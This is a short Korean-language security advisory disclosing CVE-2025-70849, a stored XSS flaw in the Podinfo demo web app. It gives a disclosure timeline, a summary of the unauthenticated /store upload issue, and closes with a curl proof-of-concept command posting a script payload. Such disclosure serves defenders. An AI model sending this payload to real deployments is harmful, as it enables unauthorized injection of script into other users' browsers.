CVE-2025-70849: Podinfo의 저장형 XSS

발견: 2025년 9월
공급업체 통보: 2025년 10월 25일
공급업체 응답: 확인됨; 현재 수정 일정 없음.
공개 공개: 2026년 2월

요약

Podinfo(쿠버네티스 마이크로서비스 데모 웹 애플리케이션)에서 보안 취약점(CWE-79)이 확인되었습니다. /store 기능을 통해 인증되지 않은 사용자가 임의의 HTML/JS 콘텐츠를 업로드할 수 있어 저장형 XSS가 발생합니다.

악성 페이로드를 전송합니다:

curl -X POST https://<target>/store -H "Content-Type: application/text" -d '<html><script>alert("CVE-2025-70849")</script></html>'